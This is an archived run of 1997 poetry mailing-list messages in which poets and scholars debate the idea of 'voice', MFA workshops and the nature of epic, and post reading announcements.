history note: circa '89, Penny Arcade did a Nancy riff (re-enacted that persona -- in a small performance series at The Chelsea, NYC -- said Sid having suicided, seems, at that hotel) -- memory drummed up by memory of film *Sid & Nancy*

(said Sex Pistol's rendition of *My Way* having played in voiceover while the credits roll) . . .

it's a long way to karaoke / it's a long way, I know

↑ Index

391. Susan Wheeler
Sedgwick/VVoice
Thu 15 May 1997

Nick, the Sedgwick's an essay in her book Tendencies, and yes, I'd second -- a great read.

The Village Voice's VLS went through a bad spell but it is back on track under editor Kerry Fried, and doing some poetry again (although since it went free I don't get to it like I used to). Address: 36 Cooper Square, NY 10003 & phone: [redacted].

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

392. Michael Boughn
Re: the notion of voice
Thu 15 May 1997

Mark:

There was, in the early 70's, I think, an anthology called _The Voice that Is Great within Us_. You might check that out for prologial theorizing. Early on, around that time, there may have have been some connection between the voice theorists and Walter Ong's work on orality and the ontology of voice (Ong is very interesting, by the way). The concept quickly deteriorated, in any case, into a proposal about the sound of the "authentic self" with attendent therapeutic possibilities and "identity" related developments. There's probably a connection there, as well, with the then widely popularized work of post-Freudians like Perleman and Erikson and their theories of the development of psychic authenticity.

Mike
[redacted]

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393. **henry**
Re: voice
Thu 15 May 1997

On Thu, 15 May 1997 01:44:05 -0600 Hugh Steinberg said:
>
>But I also think there's something more interesting about "voice" than
>that. The phrase "finding your voice" is shorthand for describing the
>transitions writers go through, particularly the first one where things
>start to click, where craft and intention and subject matter come together
>a lot more successfully than in previous attempts. MFA programs love to
>take credit for this event (upon completion of my MFA I found my voice and
>my skin cleared up too!) That is one of their problems. The workshop is
>intended to foster these transitions, but the what and how of making this
>transition is ultimately personal, mysterious, even random. The shop can
>do as much harm as good. And the writer might not "find their voice" until
>years after leaving the workshop. So why go get an MFA if you might just
>as easily "find your voice" while doing your dishes or during your coffee

I like the way Hugh described it all in this post. The complex thing though
about "finding your voice" is that it's as much social/impersonal as
it is personal/mysterious. It can be likened maybe to the way painters
get in a groove, find a means, find confidence to go in a new direction.
It's based on milieu, training (education), background, character, reading
- but also on inspiration or "occasion". I think poets "find their voice"
by rising to the occasion. It's a cognitive/social/inspirational
occasion. That's why the poem or work often seems to have pre-existed -
the poet found it. & that's why MFA programs don't have a recipe for
this. The milieu is too narrow & the occasion stays away; the outcome is -
academic. But that doesn't mean MFA programs are all bad - at least
they provide people with the "occasion" to allow themselves to write.
Some people need it. But the great milieu is where poetry is just "out
there" - in the working free groups - and alone, AGAINST the groups & their
mechanical robot critics (the critical reception, say, of Philip Guston's
late work is paradigmatic). Guston is illustrative of the personal/
social dynamics of this. He withdraws from art scene where he was already
a mighty force - he starts painting these strange cartoon-like pictures
of KKK men among piles of trash, etc. (this is late 60s early 70s I think)
- his father was a garbage collector who had killed himself - the work is
totally dumped on by the critics - prefigures so much painting of later
decades - this is an example of painter "finding his voice" - also perhaps
an example of how the group, the society, allows certain figures to play
out the personal in a conflicted way - Henry G.

>break? Ideally the workshop will accelerate the process, but often it
>won't. And often writers emerge from their programs thinking they have
>made that first leap when in truth all they've done is written more
>polished versions of their entrance manuscripts.
>
>I just spent the weekend talking with one of the people who went through
>the MFA program at Arizona with me, and we figured out that in just four
>years, less than a quarter of our graduating class were still writing (let
>alone writing better than when they graduated).
>
>Perhaps that's where MFA programs get it wrong: the goal isn't to find your
>voice, but to find a way to keep speaking.
>
>Hugh Steinberg

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394. **Jordan Davis**

Re: voice

Thu 15 May 1997

The critique of "voice" predates language poetry:

VOICE

I have always laughed
when someone spoke of a young writer
"finding his voice." I took it
literally: had he lost his voice?
Had he thrown it and had it
not returned? Or perhaps they
were referring to his newspaper
The Village Voice? He's trying
to find his _Voice_.
        What isn't
funny is that so many young writers
seem to have found this notion
credible: they set off in search
of their voice, as if it were
a single thing, a treasure
difficult to find but worth
the effort. I never thought
such a thing existed. Until
recently. Now I know it does.

I hope I never find mine. I
wish to remain a phony the rest of my life.

--Ron Padgett (from _Toujours L'Amour_, NY, 1976)

___
Jordan

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395. **Maria Damon**
Re: the notion of voice
Thu 15 May 1997

At 11:00 PM -0400 5/14/97, Piombino/Simon wrote:
>This sounds very intriguing, Maria. I'm as yet unfamiliar, embarassed to
>admit,
>with
>the sedgwick poem,

the sedgwick is actually an article in Representations from the mid-late-ish eighties.

or- - your book(uh...what were those titles, again?)
>including the work on Lowell, whose
>line "The monument sticks like a fishbone/ in the city's throat"
>speaking of Washington D.C., has always haunted me.Could you further
>explain the connection?

better yet, i'll send u a copy of my book, if u send me yr snail address--md
>
>Best,
>
>NickOn Wed, 14 May 1997, Maria Damon
>wrote:
>
>> At 9:46 PM -0400 5/13/97, Piombino/Simon wrote:
>> >I agree with Robert Hale that the requirement that some family
>> >experience be touched upon is at the heart of what some might call the
>> >"non-innovative" or non-experimental poem (expectably,many poets are
>> >skeptical about
>> >creating hard and fast technical names for non- conformist kind of
>> >poetry)
>>
>> i've found eve sedgwick's "a poem is being written" to be a nice meditation
>> on the link between nuclear family, with its private humiliations and

>> scrutiny, and the lyric. robert lowell's poetry i believe bears this out,
>> as i tried to write about in my lowell section in my book.
>>
>>
>>

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396. **Maria Damon**
Re: the notion of voice
Thu 15 May 1997

At 7:45 AM -0400 5/15/97, Michael Boughn wrote:
>Mark:
>
>There was, in the early 70's, I think, an anthology called _The Voice
>that Is Great within Us_. You might check that out for prologial
>theorizing. Early on, around that time, there may have have been some
>connection between the voice theorists and Walter Ong's work on
>orality and the ontology of voice (Ong is very interesting, by the
>way). The concept quickly deteriorated, in any case, into a proposal
>about the sound of the "authentic self" with attendent therapeutic
>possibilities and "identity" related developments. There's probably a
>connection there, as well, with the then widely popularized work of
>post-Freudians like Perleman and Erikson and their theories of
>the development of psychic authenticity.
>
>Mike
>[redacted]

that book, edited by hayden carruth, was my bible in high school. it introduced me to bob kaufman, james merrill, robert creeley and others. i still have that beat up copy. i felt that it *was* the great voice within me, coming from somewhere else, esp when i read creeley (it turned out that my poetry teacher had studied w/ creeley so that must have been why). like, later, reading bruno schultz, that feeling of having one's dream-voices ventriloquized by someone you hadn't known existed...

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397. **Douglas Barbour**
Re: Aldon L. Nielsen' advertisement
Thu 15 May 1997

On Tuesday May 13 Aldon L. Nielsen said:

"For a limited time only, I am available as an individual or a group.
Void where prohibited.
Slightly higher in Canada.
Some natural shifting of the contents may occur in shipment."

I'd take you up on this in a minute, but for that 3rd line:

Because Aldon, the canadian dollar is only about $0.71US, & anyway we dont have as much as many US universities do. Alas, alas, that ever that should be!

But I rally appreciate the offer...

==========
==========
Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigary
H: [redacted]

↑ Index

398. **Douglas Barbour**
Re: workshopped 'voice'?
Thu 15 May 1997

Re: Robert Hale's response to Mark Wallace: our own Marjorie Perloff has written eloquently around this topic in various places, some essays in _The Dance of the Intellect_ & _Poetic License_, for example. Not always 'about' voice as such, but definitely about aspects of trad modern lyric in which 'voice' and the solid subject come together, & the poetry in which they are diffused in a variety of ways...

==========
==========
Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigary
H: [redacted]

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399. **Gwyn McVay**
like a fishbone
Thu 15 May 1997

Hey Nick, the "fishbone" line is wonderfully appropriate to DC and the Big White Dick, but it's actually from "For the Union Dead" and refers to Colonel Shaw and his "colored" Civil War regiment.

Gwyn, always looking for brownie points from the profs... :)

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400. **Maria Damon**
Re: voice
Thu 15 May 1997

At 8:04 AM -0400 5/15/97, henry wrote:
>On Thu, 15 May 1997 01:44:05 -0600 Hugh Steinberg said:
>> So why go get an MFA if you might just
>>as easily "find your voice" while doing your dishes or during your coffee
>

there's a very simple reason why people do ma, mfa, phd programs, etc. to stay out of the grueling, dispiriting job market/unemployment treadmill for a few years in relatively comfortable, respectable, and stimulating circumstances. i went to grad school to hide out the reagan years. if there were any degree that could have lasted longer than a phd program (which can be parlayed into 7 or 8 years) i would have done that. i enjoyed it, got a lot out of it, etc., but basically i was helping keep down the unemployment and the chronically-marginally-employed rate.

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401. **Douglas Barbour**
Re: Joe Amato's paper at the Denver conference
Thu 15 May 1997

Joe Amato's paper, "We Interrupt Our Regularly Scheduled Programming," which is fascinating, will be published in an upcoming issue of _The Denver Quarterly_. It made me want to read more of his own kind of 'poessays'.

==========
==========
Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigary
H: [redacted]

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402. **Dean Taciuch**
Re: voice
Thu 15 May 1997

Hugh Steinberg wrote:
>I just spent the weekend talking with one of the people who went through
>the MFA program at Arizona with me, and we figured out that in just four
>years, less than a quarter of our graduating class were still writing (let
>alone writing better than when they graduated).
>
>Perhaps that's where MFA programs get it wrong: the goal isn't to find your
>voice, but to find a way to keep speaking.

I found one of the graduates from the Creative Writing program I was in (a PhD program, not an MFA) on the National Empowerment Network (I don't know how many of you have that--it's far right politcal programming). He was (may still be) the editor of Campus Watch, the folks who expose all the liberals undermining this great nation of ours, etc, etc. Anyway, this fiction writer bills himself as an expert in education, proudly displaying his degree (Dr. Mark Draper, PhD) in the masthead of Campus Watch. I called up (it was a call in show) and asked him how he felt about Creative Writing PhDs, since he was on a tirade against liberal arts programs undermining traditional education values. He got a bit flustered, I guess, and handed the question over the Phyllis Schlafly, who was also on the panel. I didn't get to say anything after that.

He found a way to keep speaking, using "fictionalizing" skills he picked up in a Creative Writing program.

Dean

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403. **Dean Taciuch**
Re: voice
Thu 15 May 1997

In one workshop I participated in, we were doing an exercise which involved "listening to the voices in our heads," with emphasis on the plurality of said voices. One student in the class asked to be excused: "I'm taking medication so I don't have to listen to those voices."

Dean

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404. Field of Roses
Re: voice (trilafon)
Thu 15 May 1997

> *In one workshop I participated in, we were doing an exercise which involved "listening to the voices in our heads," with emphasis on the plurality of said voices. One student in the class asked to be excused: "I'm taking medication so I don't have to listen to those voices."*
>
> *Dean*

Maybe now's a good time to discuss the silences...

Linda Charyk Rosenfeld

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405. michael corbin
Re: voice
Thu 15 May 1997

David Israel wrote:

> *The 'voice' is the same, at best. The music is the same too, though more like muzak. Praise is awarded in accordance with the degree of similarity between the original and its new performer.*

Music. Singing.

Alongside the spectral, soul-ful 'notion' of voice 'within' or 'without' is the concrete, and not unrelated, vibrations, movements of throat, larynx, the forced air through the resonators of the facial musculature (the 'mask' of trained singing jargon), the minutia of glottis, the aural possibilities of opera-house, tavern, head-phones, closet. Wayne Koestenbaum's _The Queen's Throat: Opera, Homosexuality and the Mystery of Desire_ intones beautifully on the social construction of 'voice' as it is heard and as it comes to mean more than its singularity and/or simulations of reproducibility-- either as repertoire (neither is Karaoke *merely* about a pure lip-sync vetriloquy but rather, importantly, about repetition *and* difference), in voice 'training'(Koestenbaum writes hilariously and insightfully of voice training manuals, and what it would mean to have a 'trained' voice) or compared to 'other' voices, other divas.

"This ideology of 'voice' as original and identity-bestowing took root in . . . a time when sexuality evolved as the darkness we yearn to illuminate, a

constituative hiddeness . . . Like the arts of asceticism that, according to Foucault, constituted early modern sexuality, voice is a set of rules for withholding and dispensing a natural, numinous and dangerously volatile substance . . . What if voice were, finally, a more useful rubric than 'sexuality'? Dispense with our sex rhetorics, and think of desire as articulated air, a shaped column of breath passing through a box on its way to a resonator. Are we experiencing 'voice' or 'sexuality' when we greet or hold a controlled shaft of air moving from a dark place out into the world?"

mc

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406. **michael corbin**

Re: the notion of no voice

Thu 15 May 1997

> *. . .*
>
> *In fact, days before NPR put out a press release to announce the RFK Journalism Award, "All Things Considered" censored a two-minute poem making a strong statement about some current manifestations of power and racism.*
>
> *In the past, "All Things Considered" has aired a number of poems by Martin Espada. Three years ago, the program commissioned what became the title poem of his book "Imagine the Angels of Bread." Soon after it won the American Book Award this spring, "All Things Considered" asked him to write a poem for broadcast in connection with National Poetry Month.*
>
> *Espada wrote a poem about Mumia Abu-Jamal, a journalist and black activist who is on death row after being convicted of the murder of a Philadelphia police officer. While alluding to evidence of an unfair trial, the poem lyrically evokes "fugitive slaves" and a history of racial oppression spanning to the present time.*
>
> *NPR refused to air the poem. Evidently, the last thing NPR's management wanted to do was rile the formidable police lobby, which went ballistic in 1994 when "All Things Considered" scheduled a series of commentaries by Abu-Jamal about crime and prison life. NPR quickly canceled the commentaries.*
>
> *Now, NPR has also banned poems about Abu-Jamal.*
>
> *In an interview Wednesday, NPR's director of communications, Kathy Scott, said that the poem has been blocked for the same*

> *reason that Abu-Jamal's original commentaries were axed: pending litigation.*
>
> *Using a rationale without legal basis, Scott asserted that the problem with the poem is a lawsuit filed by Abu-Jamal against NPR for canceling his commentaries. And, she claimed, the problem with those commentaries was Abu-Jamal's appeal of his death sentence: NPR's intention was to "not influence the case so that the legal system can take its course."*
>
> *So, once Abu-Jamal's case is settled, perhaps by execution, NPR's ban on his voice might be lifted.*
>
> *On the phone from the University of Massachusetts in Amherst, where he's an associate professor, Espada sounded calm -- and disgusted. He recalled his question to an NPR producer: "NPR is refusing to air this poem because of its political content. Do you agree?" The answer was yes.*
>
> *James Baldwin once wrote that many people who live with complicity in the destruction of other human beings "do not know it and do not want to know it." He added: "But it is not permissible that the authors of devastation should also be innocent. It is the innocence which constitutes the crime."*

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407. Eliza McGrand- CVA Guest

a weird and fast and interesting golf poem (yes, GOLF!)

Thu 15 May 1997

by a friend of mine...

Par

Once I saw my fade slip by the dogleg
from both my cheeks. The feathery white pine
was all air and I found the sprinkler line
a bump and run. For seven shooting darts
both sides are fat, and snakes will bite the cup.
As I recall this happened only once.

I often foul with my bat. The fowl
fall easily in fall before my gun
and dog. Legged legs old golfers yip off
their fowl air with no free relief in sight.
WeAd rather have a fried egg than one foot:

down in three the order when we stab.
If only once I happened to recall
my putter I know I could putter par.

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408. **Joe Safdie**
Re: the notion of voice
Thu 15 May 1997

On Thu, 15 May 1997, Maria Damon wrote:

Michael Boughn wrote:

> >There was, in the early 70's, I think, an anthology called _The Voice
> >that Is Great within Us_. You might check that out for prologial
> >theorizing.
>
and Maria responded:

> *that book, edited by hayden carruth, was my bible in high school. it introduced me to bob kaufman, james merrill, robert creeley and others. i still have that beat up copy.*

And I'd like to say that my dog-eared copy of same is still held in such esteem that it has an honored place in the bathroom, right next to the old _New Yorkers_ and _Nations_. No theorizing though, just poems, but by an unlikely gathering, one that pre-dated the exclusionary groupings we've seen since.

Is everyone ready for "The Odyssey" on TV this Sunday? I'm getting warmed up by watching _Xena, Warrior Princess_ . . .

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409. **Herb Levy**
voice
Thu 15 May 1997

One of the most depressing moments during my years in arts adminstration was serving on the selection panel for a large multi-disciplinary fellowship program from a state agency. I was there as a music specialist, but got to/had to read/see/smell the work samples in every discipline. It was a very long process.

I had a helluva time trying to make clear what I felt was wrong with a short story writer who had the personal voice thing DOWN, it was like reading a transcript of a stand-up comic who works a lot with catch phrases. This writer had even published two stories in different collections that were Mad-Lib versions of

each other. Only some of the words were changed; the entire structure, down to sentence order & phrases within the sentences, was EXACTLY the same. (If this was some kind of formal experiment, it was the only one this writer has ever tried.)

Of course, I was the only one to vote against it & the writer recieved a big chunk of cash. Oh, well.

Herb Levy
[redacted]

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410. Christina Fairbank Chirot
Re: voice
Thu 15 May 1997

---

always thought this gives a good deal to think on/with re voice/s --from Robert Grenier's A Day at the Beach:

> VOICE SAYS
>
> v o i c e s

(each letter of the second line is underlined in the original)

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411. Daniel Zimmerman
Re: Drew Gardner Comes Back
Thu 15 May 1997

Steve Carll wrote:
>
> Tuesday May 13th at Intersection for the Arts in S.F., Drew Gardner and
> Joel Deane read in Drew's first S.F. reading since leaving for New York
> City last year. Joel Deane, who recently moved here from Melbourne,
> Australia, read his brooding, serious poems, dialogues, and stories first.
> Although many in the audience had apparently come to see Joel, he only read
> two lines that really grabbed me:
>
> my father is a model discontinued
> a face is ubiquitous, he thinks
>
> Drew followed after a short break. Those of us who had come to see him
> (Elizabeth Robinson, Tina Rotenberg, Avery Burns, Garrett, Brian Lucas,
> Andrew Joron, Steve Dickison, Pat Reed and Chris Daniels) had fun listening

> to the contrast between his last S.F. poems and the newer N.Y. poems:
>
> the crescent moon holds the liquid mind like a cup
> mean furnitures of light threaten
> learning to change the lobster into a valuable helper
> beachcombing machines
> to crawl with wings above the hemoglobin flags
> one emptiness shifting as a bathtub on the sea
> only sound will never change the necessary running
> where spring is a language of direct experience
> vanishing houses leaned against the mental tree
> the numbered nothings go
> an unseen bowl has come hidden from the yes
> o internal mosh pit!
> to eat away the sun is not a question of being mean
> the inside of a severed thought is not a question
> don't freak. become a reverse suicide. refuse nothing to god.
>
> ...and then it was tapas again (love those tapas desserts--this time I got
> the chocalte mousse. If only someone had killed me after the first bite I
> wouldn't have to live with this yearning for more!) We went to Picaro's
> and reminisced about its days as a dingy cafe. Drew's headed for Seattle
> til next Monday, and then Saturday the 24th he's playing a jazz gig at
> Radio Valencia, which I strongly recommend catching if you're around as
> Drew's jazz noises are fantastic.
>
> **********
> [redacted] Steve Carll
> http://writing.upenn.edu/epc/mags/antenym
> http://writing.upenn.edu/epc/ezines/antenym
>
> In seed-
> sense
> the sea stars you out, innermost, forever.
>
> --Paul Celan
> **********

Steve, I want to thank you for your reportage on SF readings, and to ask how your selection of lines might relate to the current "voice" discussion, i.e., does your selection reflect a "voice" you "hear" more than others--a transpersonal voice incarnating itself occasionally in various poets who happen to have

listened to the same channel on Cocteau's radio? Do those lines resonate with your own "voice"? Do they contrast with or reply to it? Do they exemplify exactly what you would, after hearing them, strive never to imitate or reproduce in any even paraphrasable rendition/karaoke? You seem in a good position to contribute something to this "voice" discussion. Wouldja, wouldja? Dan Zimmerman

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412. **David Israel**
whose voice?
Thu 15 May 1997

Michael Corbin --

you wrote,
<<< David Israel wrote:

> The 'voice' is the same, at
> best. The music is the same too, though more like muzak. Praise is
> awarded in accordance with the degree of similarity between the original
> and its new performer. >>>

a techno-(authorship) footnote:

true, I mouthed the words -- but so happens, I was quoting another -- i.e., senor Daniel Tessitore.

Also: thx for excerpt from Wayne Koestenbaum --

<< . . . What if voice were, finally, a more useful rubric than 'sexuality'? Dispense with our sex rhetorics, and think of desire as articulated air ...
>>

speaking of opera, one of the curiouser settings for an Italian aria is to be in theatres near you, when Bruce Willis spens a 22nd Century evening at the theatre (*The Fifth Element*) --

also interesting how, in the film, explore the notion of the UR-language, root of all languages, is explored -- which (as some manner of joke?) turns out to sound a darn lot like Italian (? you thought Sanskrit? think again) --

not to mention topicality of God incarnating in form of a (as could be said) cute babe . . . (for want of a more precise lexicon) . . .

anyway, uncle david says, you cd perchance check it out . . . whole lotta camp, satire & dumb stuff, but this seemed withal a film enjoyable (for reasons I'll not try to dissect this afternoon . . .) . . .

but as said, the aria-scene found a curious contextualizing (or de-) ...

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413. David Israel
the "World Wide Free Press"
Thu 15 May 1997

---

poetas,

speakin' of the Voice [publication], many w/ 60s memories will recall its once-upon-a-time leftcoast kin, the Freep (a.k.a. Los Angeles Free Press), -- long since deceased BUT lately resurrected by indefatigable publisher Art Kunkin as a webzine.

I've not paid close attn to the consequent World Wide Free Press, but I happen to be on Kunkin's roster for occasional circulars. One such arrived today, which I'll excerpt in part for poss. interest of current company. Will spare you'all much of the roster of new-age speakers -- the elipses are mine (the attached forwards an advert for a new age trade fair). Sending this mainly for sake of the URL . . .

cheer, d.i.

p.s.: I've not seen major signs of literary life (or, more particularly, the P word) at the new web-Freep (but then, I've not quite fully looked). Kunkin's incentive, anyway, seems to be toward spurring growth of new local free presses based in various metropoli, -- somehow in cahoots w/ the central WWW Freep . . . (?) -- & anyone interested in jumping aboard & seeing abt. doing some poetry hotrodding or hoe-work (or whatnot) could likely (or maybe) get some manner of mileage (or acreage) . . .

/ / / / /

>>> Art Kunkin <[redacted]> 05/15/97 02:51pm >>>
Dear Friends,

The Los Angeles Free Press and The World Wide Free Press has BOOTH #110 at the Whole Life Expo in Pasadena this weekend and you are invited to stop by. Besides a big display of front covers of the old printed L.A. Free Press and blow-ups of some great Ron Cobb cartoons from the Freep, we will also be distributing literature for the Los Angeles Alternative Media Network. There's nothing for sale, just great information and great visuals. Below is some information about the Expo itself. Come and visit. I will be at the Expo all three days so this will also be a good time to connect with me personally. Cordially, Art Kunkin

> *WHOLE LIFE EXPO*
> *MAY 16-18, 1997*
> *PASADENA CONVENTION CENTER*
> *300 E. GREEN ST., PASADENA*
>
> "*INTO THE NEW MILLENIUM*"
>
> *FEATURING:*
>
> *Neal Donald Walsch; "Conversations With God"*
> *Whitley Streiber; "The Secret School"*

. . . [etc., etc.]

> *Re. Nirvana Gayle; "Sacred Arts Extravaganza"*
> *Thomas Banyacya; "Koyaanisqatsi: Hopi Prophecy..."*
>
> *Plus 185 More of the best speakers in the Consciousness movement!!*
> *Over 300 Exhibitors*

INCLUDING THE FREE PRESS AT BOOTH 110.

. . . [etc.]

> *Call* [redacted] *to pre-register or for information.*

. . . PLEASE FORWARD THIS ON YOUR E-MAIL LISTS-PLEASE!

Art Kunkin
Publisher and Editor, The World Wide Free Press
http://www.wwfreepress.com (& see our hot-links!)
Senior Editor: Los Angeles Free Press http://lafreepress.callme.net
Contributing Editor: Alaska Free Press, Haight Ashbury Free Press, etc.
[redacted] email: [redacted]
115 South Topanga Canyon Blvd, #166, Topanga CA 90290

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414. Pam Brown

"voice"?

Thu 15 May 1997

Hello Poetics Listees, In Sydney in November 1995 a poetry conference called "The Whole Voice" was held. Laurie Duggan presented a "paper" sceptical of the notion of "voice"...it's published in the latest issue of "Southerly" - Vol.57 No 1 Autumn 1997 - ("Southerly" can be found on the EPC website small magazine list).

Laurie's piece is called "What Whole Voice ? Notes For A Reading" and I'll quote from the section "Metaphysics" "What is this thing called "the voice"? I

take it to be a metaphysical concept which represents "authority". It is a humanist concept of "authorisation"; of power over "lesser breeds without the law." It is logocentric. When "voice" is used in the context of this conference it is actually the "mind of the poet" (or "poetic" voice) which is the privileged item: an integrated mind; a mind with "integrity". Someone I know once prefaced a remark on poetics with the inclusive/exclusive "we poets..." - as though there were some poetic way of seeing things and that "we poets" were the privileged viewers (or "seers"). The "humanism" of "the voice" is, in this light, merely the backwash of romanticism. If "the voice" is "whole" in this sense, it is the "organic" (and "coherent" voice); the product of a constituted and authenticated "body of poetry".

he continues with reflections on "voice" in "Performance" and so on...and a quote from the concluding section "Silence"...

"The poem of "the voice" is too wrapped up in its own importance to leave any breathing space. It's a dead letter...."

I post this because I agree with it.
Best wishes,
Pam Brown

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415. George Thompson
Re: epic redux
Thu 15 May 1997

> *Mark Weiss wrote [a long time ago]:*
>
> *hold everything--is someone claiming that The Prelude is an epic?*
>
> *Er, well no, not exactly, Mark. I guess you caught me in flagrante conflatio. But - having said that in an attempt to extricate myself from the hole I've dug - I think a claim cld be put forward for _The Prelude_ as an epic in autobiography, in which "the action," "the story," is the development of the poet's consciousness. Which is also what I see happening in _Flowchart_. This is admittedly a loose interp of "epic."*
>
> *Having been absorbed lately in David Jones' _The Anathemata_, I'll toss out a few peripheral scraps from my reading that may have some bearing here:*
>
> *"I have made a heap of all that I could find." - Nennius (from DJ's intro)*
>
> *"It was a dark and stormy night, we sat by the calcined wall; it was said to the tale teller, tell us a tale, and the tale ran thus: it was a dark and stormy night..." (epigraph).*

> *Now this little diddy to my mind sums up what epic is all about - not just that stuff about the "tale of the tribe" - but the rescuing of potentially rejuvenating or at least still powerful psychic material from the rimefrost of cliche. Its circularity and self-referentialty are "the story" - i.e. the history of the growth of consciousness, though maybe not too many here will agree with that. _The Prelude_ cld be shoehorned into this model, and mebbe, just mebbe, _Flowchart_? All this begs the questions: is epic still possible, or even desirable, and if so, what do we expect it to do? Certainly not the affirmation of national/tribal identity as _The Iliad_ did for the Greeks?*
>
> *Fuzzier than Jordan,*
> *Patrick Pritchett*

Excuse me, poets, but I would like to break in with a few questions, since there is a lot of implicit knowledge circulating re this thread, which it would help me, at least [an outsider], to make explicit. You all know, I assume, that "Homer" is just a traditional name for a figure who, in any case, cannot have been the "author" of the Iliad or the Odyssey. "Homer" was just a voice who was able to pull together the best lines of his generation.... Is this common knowledge among you?

"Homer"'s style was formulaic, *very* formulaic, which is to say that it operated largely, and successfully, with cliches. Is this common knowledge among you?

As far as epic goes, in its Ur-sense, the Iliad and the Odyssey are not "epic" *because* they are long, or war-like, or national or tribal, etc., etc. No, they are epic rather *because* they were a collective, and an oral, endeavor [rather like gossip]. Epic has nothing inherent to do with length, or with war, or with heroic virtue, or men. Epic is what people talk about. Today's *epic*, in the USA at least, is the O.J. Simpson thing. The fact that this thing may be about sex and hollywood and money and race, and the spilling of white blood apparently by some black hand, is merely a reflection of what we talk about: it is epic. Is this common knowledge among you?

Where I come from it is traditional to distinguish between oral, or folk, epic, on the one hand, and literary epic on the other. In the strict sense Virgil or Dante or Milton have merely produced literary *imitations* of epic, rather than epic itself, at least in its ur-sense.... Where this puts Ashbery, et al., I don't know, but I see no profit in confusing all of these things into one category.... Are my questions of any use to you?

Apologies for being so late and irrelevant, but I've been busy reading earnest student papers.

Best wishes,
George Thompson

p.s. on individuality: individuum est ineffabile [Goethe].

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416. **Hank Lazer**
Re: ALA conference
Thu 15 May 1997

For those of you going to the upcoming ALA conference (next week in Baltimore?), please drop by the University of Alabama Press's booth and meet Curtis Clark, a senior editor with the Press. Curtis is quite interested in contemporary poetry and poetics, and he has been very supportive of a number of book projects of interest to Poetics List persons.

Hank Lazer

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417. **dbkk**
Re: "voice"?
Thu 15 May 1997

At 10:38 AM +1100 5/16/97, Pam Brown wrote:

> *"The poem of "the voice" is too wrapped up in its own importance to leave any breathing space. It's a dead letter...."*
>
> *I post this because I agree with it.*

While I agree that this is a marvelous quote, and I agree with all the critiques of the notion of voice that have been expressed here lately (the ones I read, I'm sure I missed a few), I would like to add one tiny sour note to all of this--namely in the works of poets who oppose the notion of voice, many a time I've seen their non-voice just as wrapped up in its own importance as the voice mentioned above.

I appreciate this discussion. It has clarified the panic I feel on the rare occasions I hear "workshop" poetry, when I drive Kevin crazy trailing him around, asking for assurance, "I don't do that, right, Kevin, I don't, right?" This discussion have given me some distance from that gut-level revulsion, the space to meditate upon exactly what I'm finding problematic--and how that relates to my own interest in narrative and "self."

Dodie

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418. **Piombino/Simon**
Re: like a fishbone
Thu 15 May 1997

How 'bout that! And all this time I thought...Could you elaborate on this a bit? What's the monument and how does regiment come into it? I don't have a copy of the poem, and even if I did I might not have deciphered this. Thanks, Gwyn

Nick
On Thu, 15 May 1997, Gwyn McVay wrote:

> *Hey Nick, the "fishbone" line is wonderfully appropriate to DC and the Big White Dick, but it's actually from "For the Union Dead" and refers to Colonel Shaw and his "colored" Civil War regiment.*
>
> *Gwyn, always looking for brownie points from the profs... :)*

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419. **Travis Andrew Ortiz**
Reading in San Francisco
Fri 16 May 1997

I haven't seen this announced yet, so I though I'd forward what information I do have about the marathon reading at New Langton on Saturday:

New Langton Arts Presents:

"A Night in the Life of San Francisco Writing"
Saturday, May 17
beginning at 4:00 PM

"A Night in the Life of San Francisco Writing is a marathon evening of literary readings that last through the wee hours of Sunday morning. Over 50 writers/ readers will participate. The San Francisco writing community presents itself to revel in the breadth of local, contemporary writing and to celebrate our lateral spraul. Invite friends to town for the occasion, gather a group, or come solo. Brace your attention span, get your hand stamped, and wander in and out freely. Latecomers welcome."

Featured writers/readers include:

Pam Lu
Dodie Bellamy
Robert Gluck
Jay Schwartz

Kit Robinson
Lyn Hejinian
Jean Day
David Larson
Faith Barrett
Linda Voris
Lytle Shaw
Barbara Guest
Lauren Gudath
Norma Cole
Travis Ortiz
Craig Dworkin
Aaron Shurin
Kevin Killian
Stephen Ratcliffe
Carolyn Lau
Edmund Berrigan
Gloria Frym
Ann Simon
Hung Tu
Katherine Lederer
Renee Gladman
Leslie Scalapino

and many, many more

Tickets are $5 general and $3 for students, seniors, and Langton members. Ticket holders may come and go as they please. Tickets will be available for purchase throughout the night.

***New Langton is located at 1246 Folsom Street, San Francisco. phone: [redacted]

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420. **rsillima**
(no subject)
Fri 16 May 1997

Dodie,

I would love to hear you go more into this idea of "non-voice" as "voice." It sounds fascinating (and, NO, you don't do that!)

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]

When this you see
Remember me

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421. **Mark Weiss**

Re: epic redux

Fri 16 May 1997

Of course, the Iliad's audience until quite recently assumed that Homer was an actual person who wrote the text that we have based on historical occurrences predating him by a generation or two. That audience derived its notion of what constituted epic accordingly. The formulaic phrases in Homer appear to be mnemonic devices, remnants of oral sources, not cliches. Your definition of epic is certainly novel; I assume it's exclusive to you. Or perhaps it's common knowledge where you come from.

> *Excuse me, poets, but I would like to break in with a few questions, since there is a lot of implicit knowledge circulating re this thread, which it would help me, at least [an outsider], to make explicit. You all know, I assume, that "Homer" is just a traditional name for a figure who, in any case, cannot have been the "author" of the Iliad or the Odyssey. "Homer" was just a voice who was able to pull together the best lines of his generation.... Is this common knowledge among you?*
>
> *"Homer"'s style was formulaic, *very* formulaic, which is to say that it operated largely, and successfully, with cliches. Is this common knowledge among you?*
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> *As far as epic goes, in its Ur-sense, the Iliad and the Odyssey are not "epic" *because* they are long, or war-like, or national or tribal, etc., etc. No, they are epic rather *because* they were a collective, and an oral, endeavor [rather like gossip]. Epic has nothing inherent to do with length, or with war, or with heroic virtue, or men. Epic is what people talk about. Today's *epic*, in the USA at least, is the O.J. Simpson thing. The fact that this thing may be about sex and hollywood and money and race, and the spilling of white blood apparently by some black hand, is merely a reflection of what we talk about: it is epic. Is this common knowledge among you?*
>
> *Where I come from it is traditional to distinguish between oral, or folk,*

